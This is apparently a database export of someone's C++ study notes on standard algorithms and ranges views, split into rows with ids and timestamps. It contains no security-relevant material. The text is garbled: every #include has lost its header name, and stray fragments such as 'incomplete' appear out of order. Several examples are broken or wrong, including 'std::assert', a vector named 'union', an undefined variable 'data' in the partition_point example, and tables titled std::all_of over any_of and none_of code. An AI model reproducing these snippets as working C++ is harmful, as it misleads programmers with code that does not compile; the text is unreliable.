\n#include \n#include \n#include text txt 2024-07-28 09:49:50.270517 -1700 509 int main()\n{\n std::vector series{2, 4, 6, 7, 9, 11};\n auto is_even = [](auto v) { return v % 2 == 0; }; text txt 2024-07-28 09:49:50.290264 -1701 509 std::vector evens, odds;\n std::ranges::partition_copy(series, std::back_inserter(evens), std::back_inserter(odds), is_even); text txt 2024-07-28 09:49:50.310319 -1702 509 assert(evens.size() == 3);\n assert(odds.size() == 3);\n} code txt 2024-07-28 09:49:50.330061 -1703 510 | `std::nth_element` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:51.285752 -1704 510 The `std::nth_element` algorithm is a partitioning algorithm that ensures\nthat the element in the nth position is the element that would be in this\nposition if the range was sorted. text txt 2024-07-28 09:49:51.307415 -1705 510 #include \n#include \n#include text txt 2024-07-28 09:49:51.328264 -1706 510 int main()\n{\n std::vector series1{6, 3, 5, 1, 2, 4};\n std::nth_element(series1.begin(), std::next(series1.begin(), 2), series1.end());\n // 1 2 3 5 6 4 text txt 2024-07-28 09:49:51.348846 -1707 510 std::vector series2{6, 3, 5, 1, 2, 4};\n std::ranges::nth_element(series2, std::ranges::next(series2.begin(), 2));\n // 1 2 3 5 6 4 text txt 2024-07-28 09:49:51.369293 -1708 510 std::vector series3{6, 3, 5, 1, 2, 4};\n std::nth_element(series3.begin(), std::next(series3.begin(), 2), series3.end(), std::greater{});\n // 5 6 4 3 2 1 text txt 2024-07-28 09:49:51.390529 -1709 510 std::vector series4{6, 3, 5, 1, 2, 4};\n std::ranges::nth_element(series4, std::ranges::next(series4.begin(), 2), std::greater{});\n // 5 6 4 3 2 1\n} code txt 2024-07-28 09:49:51.411489 -1710 510 Because of its selection/partitioning nature, `std::nth_element` offers a\nbetter theoretical complexity than `std::partial_sort` - `O(n)` vs `O(n ∗\nlogk)`. However, note that the standard only mandates average `O(n)`\ncomplexity, and `std::nth_element` implementations can have high overhead, so\nalways test to determine which provides better performance for your use case. text txt 2024-07-28 09:49:51.431226 -1711 511 | `std::lower_bound` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:52.894552 -1712 511 | `std::upper_bound` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:52.915198 -1713 511 The two algorithms differ in which bound they return: text txt 2024-07-28 09:49:52.935686 -1714 511 * The `std::lower_bound` returns the first element for which `element < value` returns `false`.\n* The `std::upper_bound` returns the first element for which `value < element`.\n* If no such element exists, both algorithms return the end iterator. text txt 2024-07-28 09:49:52.956331 -1715 511 #include \n#include \n#include text txt 2024-07-28 09:49:52.976909 -1716 511 struct ExamResult\n{\n std::string student_name;\n int score;\n}; text txt 2024-07-28 09:49:52.996188 -1717 511 int main()\n{\n std::vector results{{"Jane", 65}, {"Maria", 80}, {"Liz", 70}, {"David", 90}, {"Paula", 70}};\n std::ranges::sort(results, std::less{}, &ExamResult::score); text txt 2024-07-28 09:49:53.017765 -1893 559 incomplete text txt 2024-07-28 09:50:23.985942 -1920 572 code txt 2024-07-28 09:50:29.13097 -1718 511 auto lower = std::ranges::lower_bound(results, 70, {}, &ExamResult::score);\n // lower.score == 70\n auto upper = std::ranges::upper_bound(results, 70, {}, &ExamResult::score);\n // upper.score == 80\n} code txt 2024-07-28 09:49:53.039323 -1719 511 While both algorithms will operate on any `forward_range`, the logarithmic\ndivide and conquer behavior is only available for `random_access_range`. text txt 2024-07-28 09:49:53.059473 -1720 511 Data structures like `std::set`, `std::multiset`, `std::map`, `std::multimap`\noffer their `O(log N)` implementations of lower and upper bound as methods. text txt 2024-07-28 09:49:53.079904 -1721 511 #include \n#include text txt 2024-07-28 09:49:53.099244 -1722 511 int main()\n{\n std::multiset data{1,2,3,4,5,6,6,6,7,8,9}; text txt 2024-07-28 09:49:53.119794 -1723 511 auto lower = data.lower_bound(6);\n // std::distance(data.begin(), lower) == 5 text txt 2024-07-28 09:49:53.140901 -1724 511 auto upper = data.upper_bound(6);\n // std::distance(data.begin(), upper) == 8\n} code txt 2024-07-28 09:49:53.160499 -1725 512 | `std::equal_range` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:53.711337 -1726 512 #include \n#include text txt 2024-07-28 09:49:53.732267 -1727 512 int main()\n{\n std::vector data{1,2,3,4,5,6,6,6,7,8,9}; text txt 2024-07-28 09:49:53.75327 -1728 512 auto [lower, upper] = std::equal_range(data.begin(), data.end(), 6);\n // std::distance(data.begin(), lower) == 5\n // std::distance(data.begin(), upper) == 8\n} code txt 2024-07-28 09:49:53.774741 -1729 513 | `std::partition_point` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:54.744826 -1730 513 Despite the naming, `std::partition_point` works very similaryly to\n`std::upper_bound`, however instead of searching for a particular value, it\nsearches using a predicate. text txt 2024-07-28 09:49:54.766124 -1731 513 This algorithm will return either an iterator to the first element that\ndoesn't satisfy the provided predicate or the end iterator of the input range\nif all elements do. text txt 2024-07-28 09:49:54.786777 -1732 513 The input range or the projected range must be partitioned with respect to\nthe predicate. text txt 2024-07-28 09:49:54.807596 -1733 513 #include \n#include text txt 2024-07-28 09:49:54.827933 -1734 513 int main()\n{\n std::vector sorted{1,2,3,4,5,6,7,8,9}; text txt 2024-07-28 09:49:54.848679 -1735 513 auto point = std::partition_point(data.begin(), data.end(), [](long v) { return v < 6; });\n std::assert(std::distance(data.begin(), point) == 5); text txt 2024-07-28 09:49:54.869861 -1736 513 auto lower_five = std::lower_bound(sorted.begin(), sorted.end(), 5);\n auto least_five = std::partition_point(sorted.begin(), sorted.end(), [](long v) { return v < 5; });\n std::assert(*lower_five == *least_five); text txt 2024-07-28 09:49:54.890113 -1737 513 auto square = std::ranges::partition_point(sorted,\n [](long v) { return v < 16; },\n [](long v) { return v * v; } // project to {1,4,9,16,25,...}\n );\n std::assert(*square == 16);\n} code txt 2024-07-28 09:49:54.911392 -1738 514 | `std::binary_search` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:55.659268 -1739 514 This function checks whether the requested value is present in the sorted\nrange or not. text txt 2024-07-28 09:49:55.679818 -1740 514 #include \n#include \n#include text txt 2024-07-28 09:49:55.701889 -1741 514 int main()\n{\n std::vector data{1,2,3,4,5,6};\n std::binary_search(data.begin(), data.end(), 4);\n // true\n std::ranges::binary_search(data, 4);\n // true\n} code txt 2024-07-28 09:49:55.723394 -1742 514 `std::binary_search` is equivalent to calling `std::equal_range` and checking\nwhether the returned is non-empty; however, `std::binary_search` offers a\nsingle lookup performance, where `std::equal_range` does two lookups to\ndetermine the lower and upper bounds. text txt 2024-07-28 09:49:55.744734 -1743 515 | `std::includes` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:56.304633 -1744 515 #include \n#include \n#include text txt 2024-07-28 09:49:56.325672 -1745 515 int main()\n{\n std::ranges::includes({1,2,3,4,5}, {3,4});\n // true\n} code txt 2024-07-28 09:49:56.347388 -1746 516 | `std::merge` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:57.181411 -1747 516 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:49:57.203568 -1748 516 int main()\n{\n std::map data1{{1, "first"}, {2, "first"}, {3, "first"}};\n std::map data2{{0, "second"}, {2, "second"}, {4, "second"}};\n std::vector> result1, result2;\n auto compare = [](auto const& left, auto const& right) { return left.first < right.first; }; text txt 2024-07-28 09:49:57.224806 -1749 516 std::ranges::merge(data1, data2, std::back_inserter(result1), compare);\n std::ranges::for_each(result1, [](auto const& p) { std::cout << "{" << p.first << ", " << p.second << "} "; });\n std::cout << "\\\\n"; text txt 2024-07-28 09:49:57.245034 -1750 516 std::merge(std::execution::par_unseq, data1.begin(), data1.end(), data2.begin(), data2.end(), std::back_inserter(result2), compare);\n std::ranges::for_each(result2, [](auto const& p) { std::cout << "{" << p.first << ", " << p.second << "} "; });\n std::cout << "\\\\n";\n} code txt 2024-07-28 09:49:57.266411 -1751 517 | `std::inplace_merge` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:57.781712 -1752 517 #include \n#include text txt 2024-07-28 09:49:57.802731 -1753 517 int main()\n{\n std::vector range{1,3,5,2,4,6};\n std::inplace_merge(range.begin(), range.begin()+3, range.end());\n // range == {1,2,3,4,5,6}\n} code txt 2024-07-28 09:49:57.823851 -1754 518 | `std::unique` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:58.423195 -1755 518 #include \n#include \n#include text txt 2024-07-28 09:49:58.444606 -1756 518 int main()\n{\n std::vector range{1,2,2,3,3,3,4,4,4,4,5,5,5,5,5}; text txt 2024-07-28 09:49:58.466001 -1757 518 auto last = std::unique(range.begin(), range.end());\n range.resize(std::distance(range.begin(), last));\n // range == {1,2,3,4,5};\n} code txt 2024-07-28 09:49:58.48672 -1758 519 | `std::unique_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:59.077142 -1759 519 #include \n#include \n#include text txt 2024-07-28 09:49:59.098205 -1760 519 int main()\n{\n std::vector range{1,2,2,3,3,3,4,4,4,4,5,5,5,5,5}, result;\n std::ranges::unique_copy(range, std::back_inserter(result));\n // range is untouched\n // result == {1,2,3,4,5};\n} code txt 2024-07-28 09:49:59.119014 -1761 520 | `std::set_difference` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:59.705627 -1762 520 #include \n#include text txt 2024-07-28 09:49:59.726206 -1763 520 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector difference;\n std::ranges::set_difference(data1, data2, std::back_inserter(difference));\n // difference == {1,9};\n} code txt 2024-07-28 09:49:59.747348 -1764 521 | `std::set_symmetric_difference` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:00.343863 -1765 521 #include \n#include text txt 2024-07-28 09:50:00.363736 -1766 521 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector symmetric_difference;\n std::ranges::set_symmetric_difference(data1, data2, std::back_inserter(symmetric_difference));\n // symmetric_difference == {1,4,6,9};\n} code txt 2024-07-28 09:50:00.385283 -1767 522 | `std::set_union` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:00.974309 -1768 522 #include \n#include text txt 2024-07-28 09:50:00.993972 -1769 522 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector union;\n std::ranges::set_union(data1, data2, std::back_inserter(union));\n // union == {1,3,4,5,6,7,9}\n} code txt 2024-07-28 09:50:01.014995 -1770 523 | `std::set_intersection` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:01.579405 -1771 523 #include \n#include text txt 2024-07-28 09:50:01.600786 -1772 523 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector intersection;\n std::ranges::set_intersection(data1, data2, std::back_inserter(intersection));\n // intersection == {3,5,7}\n} code txt 2024-07-28 09:50:01.621731 -1773 524 | `std::transform` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:02.392142 -1774 524 #include \n#include text txt 2024-07-28 09:50:02.412449 -1775 524 int main()\n{\n std::vector range{1,1,1,1,1}; text txt 2024-07-28 09:50:02.432383 -1776 524 // unary version\n std::transform(range.begin(), range.end(), range.begin(), [](long e) { return e + 1; });\n // {2,2,2,2,2}\n std::transform(range.begin(), range.end(), range.begin(), range.begin(), [](long left, long right) { return left + right; });\n // {4,4,4,4,4} text txt 2024-07-28 09:50:02.453233 -1777 524 // binary version\n std::ranges::transform(range, range.begin(), [](long e) { return e / e; });\n // {1,1,1,1,1}\n std::ranges::transform(range, range, range.begin(), [](long left, long right) { return left + right; });\n // {2,2,2,2,2}\n} code txt 2024-07-28 09:50:02.475343 -1778 525 | `std::remove` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:02.986697 -1779 525 #include \n#include text txt 2024-07-28 09:50:03.007778 -1780 525 int main()\n{\n std::vector range{1,2,3,4,5};\n auto last = std::remove(range.begin(), range.end(), 3);\n range.erase(last, range.end());\n} code txt 2024-07-28 09:50:03.028437 -1781 526 | `std::remove_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:03.5547 -1782 526 #include \n#include text txt 2024-07-28 09:50:03.574881 -1783 526 int main()\n{\n std::vector range{1,2,3,4,5};\n auto last = std::remove_if(range.begin(), range.end(), [limit=4](long v) { return v > limit; });\n range.erase(last, range.end());\n} code txt 2024-07-28 09:50:03.597643 -1784 527 | `std::replace` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:04.130555 -1785 527 #include \n#include text txt 2024-07-28 09:50:04.151988 -1786 527 int main()\n{\n std::vector range{1,2,1,2,1};\n std::ranges::replace(range, 2, 0);\n // {1,0,1,0,1}\n} code txt 2024-07-28 09:50:04.173126 -1787 528 | `std::replace_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:04.739652 -1788 528 #include \n#include text txt 2024-07-28 09:50:04.758982 -1789 528 int main()\n{\n std::vector range{1,2,1,2,1};\n std::ranges::replace_if(range, [](long v) { return v > 1; }, 0);\n // {1,0,1,0,1}\n} code txt 2024-07-28 09:50:04.780076 -1790 529 | `std::reverse` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:05.322232 -1791 529 #include \n#include text txt 2024-07-28 09:50:05.342476 -1792 529 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::reverse(range);\n // {5,4,3,2,1}\n} code txt 2024-07-28 09:50:05.364462 -1793 530 | `std::rotate` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:05.992156 -1794 530 #include \n#include \n#include text txt 2024-07-28 09:50:06.012257 -1795 530 int main()\n{\n std::vector range{1,2,3,4,5}; text txt 2024-07-28 09:50:06.033322 -1796 530 std::rotate(range.begin(), std::next(range.begin(), 3), range.end());\n // {4,5,1,2,3} text txt 2024-07-28 09:50:06.054738 -1797 530 std::ranges::rotate(range, std::next(range.begin(), 2));\n // {1,2,3,4,5}\n} code txt 2024-07-28 09:50:06.074662 -1798 531 | `std::shift_left` | standard |\n| --- | --- |\n| introduced | C++20 |\n| paralllel | C++20 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:06.809623 -1799 531 | `std::shift_right` | standard |\n| --- | --- |\n| introduced | C++20 |\n| paralllel | C++20 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:06.830112 -1800 531 #include \n#include text txt 2024-07-28 09:50:06.849949 -1801 531 int main()\n{\n std::vector range{1,2,3,4,5}; text txt 2024-07-28 09:50:06.870738 -1802 531 std::shift_left(range.begin(), range.end(), 3);\n // {4,5,N,N,N} text txt 2024-07-28 09:50:06.890784 -1803 531 std::shift_right(range.begin(), range.end(), 3);\n // {N,N,N,4,5}\n} code txt 2024-07-28 09:50:06.910129 -1804 532 | `std::shuffle` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | N/A |\n| rangified | C++20 | text txt 2024-07-28 09:50:07.514883 -1805 532 #include \n#include \n#include \n#include text txt 2024-07-28 09:50:07.534921 -1806 532 int main()\n{\n std::vector range{1,2,3,4,5};\n std::random_device rd{};\n std::mt19937 generator{rd()};\n std::ranges::shuffle(range, generator);\n} code txt 2024-07-28 09:50:07.555294 -1807 533 | `std::prev_permutation` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:08.383081 -1808 533 The `std::next_permutation` and `std::prev_permutation` algorithms reorder\nelements of a range into the next/previous lexicographical permutation. text txt 2024-07-28 09:50:08.404218 -1809 533 If no such permutation exists, both algorithms roll over and return `false`. text txt 2024-07-28 09:50:08.424584 -1810 533 #include \n#include \n#include text txt 2024-07-28 09:50:08.443951 -1811 533 std::vector data{1, 2, 3};\ndo {\n // Iterate over:\n // 123, 132, 213, 231, 312, 321\n} while(std::next_permutation(data.begin(), data.end()));\n// data == {1, 2, 3} text txt 2024-07-28 09:50:08.464993 -1812 533 std::vector bits(4);\nbits[0] = 1;\nbits[1] = 1;\ndo {\n // Iterate over all 4 bit numbers with 2 bits set to 1\n // 1100, 1010, 1001, 0110, 0101, 0011\n} while (std::prev_permutation(bits.begin(), bits.end()));\n// bits == {1, 1, 0, 0} code txt 2024-07-28 09:50:08.486692 -1813 534 | `std::next_permutation` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:09.083918 -1814 534 #include \n#include \n#include text txt 2024-07-28 09:50:09.104814 -1815 534 int main()\n{\n std::vector range{1,2,3};\n // range == {1,2,3};\n std::next_permutation(range.begin(), range.end());\n // range == {1,3,2};\n std::prev_permutation(range.begin(), range.end());\n // range == {1,2,3};\n} code txt 2024-07-28 09:50:09.12555 -1816 535 | `std::is_permutation` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:09.687919 -1817 535 #include \n#include \n#include text txt 2024-07-28 09:50:09.70817 -1818 535 int main()\n{\n std::vector range1{1,2,3}, range2{1,3,2};\n std::ranges::is_permutation(range1, range2);\n // true\n} code txt 2024-07-28 09:50:09.72786 -1819 536 | `std::all_of` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:10.322739 -1820 536 #include \n#include text txt 2024-07-28 09:50:10.34361 -1821 536 int main()\n{\n std::vector range{1,2,3}; text txt 2024-07-28 09:50:10.363921 -1822 536 std::ranges::all_of(range, [](long e) { return e > 0; });\n // all numbers are possitive: true\n} code txt 2024-07-28 09:50:10.383926 -1823 537 | `std::all_of` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:10.938543 -1824 537 #include \n#include text txt 2024-07-28 09:50:10.959326 -1825 537 int main()\n{\n std::vector range{1,2,3}; text txt 2024-07-28 09:50:10.980647 -1826 537 std::ranges::any_of(range, [](long e) { return e % 2 == 0; });\n // at least an even number exists: true\n} code txt 2024-07-28 09:50:11.002083 -1827 538 | `std::all_of` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:50:11.534362 -1828 538 #include \n#include text txt 2024-07-28 09:50:11.555476 -1829 538 int main()\n{\n std::vector range{1,2,3}; text txt 2024-07-28 09:50:11.576202 -1830 538 std::ranges::none_of(range, [](long e) { return e < 0; });\n // not any number is negative: true\n} code txt 2024-07-28 09:50:11.598841 -1831 539 #include text txt 2024-07-28 09:50:12.534653 -1832 539 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 09:50:12.555873 -1833 539 template\ninline tstring to_upper(tstring text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), toupper);\n return text;\n} text txt 2024-07-28 09:50:12.577162 -1834 539 template\ninline tstring to_upper(tstring&& text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), toupper);\n return text;\n} text txt 2024-07-28 09:50:12.598213 -1835 539 template\ninline tstring to_lower(tstring text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), tolower);\n return text;\n} text txt 2024-07-28 09:50:12.619419 -1836 539 template\ninline tstring to_lower(tstring&& text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), tolower);\n return text;\n} code txt 2024-07-28 09:50:12.639671 -1837 540 #include text txt 2024-07-28 09:50:13.318593 -1838 540 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 09:50:13.340893 -1839 540 template\ninline tstring reverse(tstring text)\n{\n std::reverse(std::begin(text), std::end(text));\n return text;\n} text txt 2024-07-28 09:50:13.360441 -1840 540 template\ninline tstring reverse(tstring&& text)\n{\n std::reverse(std::begin(text), std::end(text));\n return text;\n} code txt 2024-07-28 09:50:13.381014 -1841 541 #include \n#include text txt 2024-07-28 09:50:13.90487 -1842 541 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 09:50:13.926129 -1843 541 template\ninline tstring trim(tstring const& text)\n{\n tstring::size first{text.find_first_not_of(' ')};\n tstring::size last{text.find_last_not_of(' ')};\n return text.substr(first, (last - first + 1));\n} code txt 2024-07-28 09:50:13.947158 -1844 542 #include \n#include text txt 2024-07-28 09:50:14.519086 -1845 542 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 09:50:14.539163 -1846 542 template\ninline tstring remove(tstring text, CharT const character)\n{\n auto last = std::remove_if(std::begin(text), std::end(text), [character](CharT const c) { return c == character; });\n text.erase(last, std::end(text));\n return text;\n} code txt 2024-07-28 09:50:14.559843 -1847 543 #include \n#include \n#include text txt 2024-07-28 09:50:15.341052 -1848 543 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 09:50:15.361228 -1849 543 template\nusing tstringstream = std::basic_stringstream, std::allocator>; text txt 2024-07-28 09:50:15.382212 -1850 543 template\ninline std::vector> split(tstring text, CharT const delimiter)\n{\n auto sstream = tstringstream{text};\n auto tokens = std::vector>{};\n auto token = tstring{}; text txt 2024-07-28 09:50:15.40294 -1851 543 while (std::getline(sstream, token, delimiter))\n {\n if (!token.empty())\n tokens.push_back(token);\n } text txt 2024-07-28 09:50:15.424217 -1852 543 return tokens;\n} code txt 2024-07-28 09:50:15.445848 -1853 544 Following string operations are available in C++23: text txt 2024-07-28 09:50:15.777457 -1854 544 - `std::basic_string::insert_range`\n- `std::basic_string::append_range`\n- `std::basic_string::replace_with_range` text txt 2024-07-28 09:50:15.79933 -1857 545 int main() {\n auto const missing = {'l', 'i', 'b', '_'};\n std::string library_name{"__cpp_containers_ranges"}; text txt 2024-07-28 09:50:16.499378 -1858 545 auto const pos = library_name.find("container");\n auto iter = std::next(library_name.begin(), pos); text txt 2024-07-28 09:50:16.519579 -1859 545 #ifdef __cpp_lib_containers_ranges\n library_name.insert_range(iter, missing);\n#else\n library_name.insert(iter, missing.begin(), missing.end());\n#endif text txt 2024-07-28 09:50:16.54082 -1860 545 std::cout << library_name;\n} code txt 2024-07-28 09:50:16.560681 -1861 546 #include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:17.149535 -1862 546 int main()\n{\n std::map map{ {0, "first"}, {1, "second"}, {2, "third"} }; text txt 2024-07-28 09:50:17.170111 -1863 546 std::ranges::copy(std::views::keys(map), std::ostream_iterator(std::cout, " "));\n // 0 1 2 text txt 2024-07-28 09:50:17.189479 -1864 546 std::ranges::copy(std::views::values(map), std::ostream_iterator(std::cout, " "));\n // first second third\n} code txt 2024-07-28 09:50:17.210879 -1865 547 #include \n#include p\n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:17.84435 -1866 547 int main()\n{\n std::vector> range{ {0, "John", 4}, {1, "Laura", 5}, {2, "Alice", 5} }; text txt 2024-07-28 09:50:17.8652 -1867 547 std::vector names;\n std::ranges::copy(range | std::views::elements<1>, std::ostream_iterator(std::cout, " "));\n // John Laura Alice text txt 2024-07-28 09:50:17.885093 -1868 547 std::vector name_length;\n std::ranges::copy(range | std::views::elements<2>, std::ostream_iterator(std::cout, " "));\n // 4 5 5\n} code txt 2024-07-28 09:50:17.905407 -1869 548 #include \n#include p\n#include \n#include \n#include text txt 2024-07-28 09:50:18.440987 -1870 548 int main()\n{\n std::vector range{1,2,3,4,5}; text txt 2024-07-28 09:50:18.462201 -1871 548 std::ranges::copy(std::views::transform(range, [](long e) -> long { return e*e; }), std::ostream_iterator(std::cout, " "));\n // 1 4 9 16 25 text txt 2024-07-28 09:50:18.482374 -1872 548 std::ranges::copy(range | std::views::transform([](long e) -> long { return e*e; }), std::ostream_iterator(std::cout, " "));\n // 1 4 9 16 25\n} code txt 2024-07-28 09:50:18.503519 -1873 549 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:18.951263 -1874 549 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::take(3), std::ostream_iterator(std::cout, " "));\n // 1 2 3\n} code txt 2024-07-28 09:50:18.9723 -1875 550 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:19.443774 -1876 550 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::take_while([](long e) { return e <= 3; }), std::ostream_iterator(std::cout, " "));\n // 1 2 3\n} code txt 2024-07-28 09:50:19.464747 -1877 551 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:19.959671 -1878 551 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::drop(3), std::ostream_iterator(std::cout, " "));\n // 4 5\n} code txt 2024-07-28 09:50:19.981975 -1879 552 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:20.462165 -1880 552 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::drop_while([](long e) { return e <= 3; }), std::ostream_iterator(std::cout, " "));\n // 4 5\n} code txt 2024-07-28 09:50:20.483247 -1881 553 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:20.98313 -1882 553 int main()\n{\n std::vector range{1,2,3,4,5,6};\n std::ranges::copy(range | std::views::filter([](long e) { return e % 2 == 0; }), std::ostream_iterator(std::cout, " "));\n // 2 4 6\n} code txt 2024-07-28 09:50:21.004661 -1883 554 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:21.479345 -1884 554 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::reverse, std::ostream_iterator(std::cout, " "));\n // 5 4 3 2 1\n} code txt 2024-07-28 09:50:21.501032 -1885 555 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:21.952888 -1886 555 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(std::views::counted(std::next(range.begin()), 3), std::ostream_iterator(std::cout, " "));\n // 2 3 4\n} code txt 2024-07-28 09:50:21.973102 -1887 556 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:22.485653 -1888 556 int main()\n{\n std::vector range{1,2,3,4,5};\n auto common = range | std::views::take(3) | std::views::common;\n std::copy(common.begin(), common.end(), std::ostream_iterator(std::cout, " "));\n // 1 2 3\n} code txt 2024-07-28 09:50:22.507815 -1889 557 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:23.006403 -1890 557 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(std::views::all(range), std::ostream_iterator(std::cout, " "));\n // 1 2 3 4 5\n} code txt 2024-07-28 09:50:23.026836 -1891 558 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:23.729247 -1892 558 int main()\n{\n std::string version{"6.4.2"};\n std::ranges::copy(\n version |\n std::views::split('.') |\n std::views::transform([](auto v) {\n int token;\n std::from_chars(v.data(), v.data() + v.size(), token);\n return token;\n }),\n std::ostream_iterator(std::cout, " ")\n );\n // 6 4 2\n} code txt 2024-07-28 09:50:23.751296 -1894 560 #include \n#include \n#include \n#include text txt 2024-07-28 09:50:24.41785 -1895 560 int main()\n{\n std::ranges::copy(std::views::empty, std::ostream_iterator(std::cout, " "));\n} code txt 2024-07-28 09:50:24.437171 -1896 561 #include \n#include \n#include \n#include text txt 2024-07-28 09:50:24.893841 -1897 561 int main()\n{\n std::ranges::copy(std::views::single(4), std::ostream_iterator(std::cout, " "));\n // 4\n} code txt 2024-07-28 09:50:24.915201 -1898 562 #include \n#include \n#include \n#include text txt 2024-07-28 09:50:25.408398 -1899 562 int main()\n{\n std::ranges::copy(std::views::iota(2,5), std::ostream_iterator(std::cout, " "));\n // 2 3 4 text txt 2024-07-28 09:50:25.429813 -1900 562 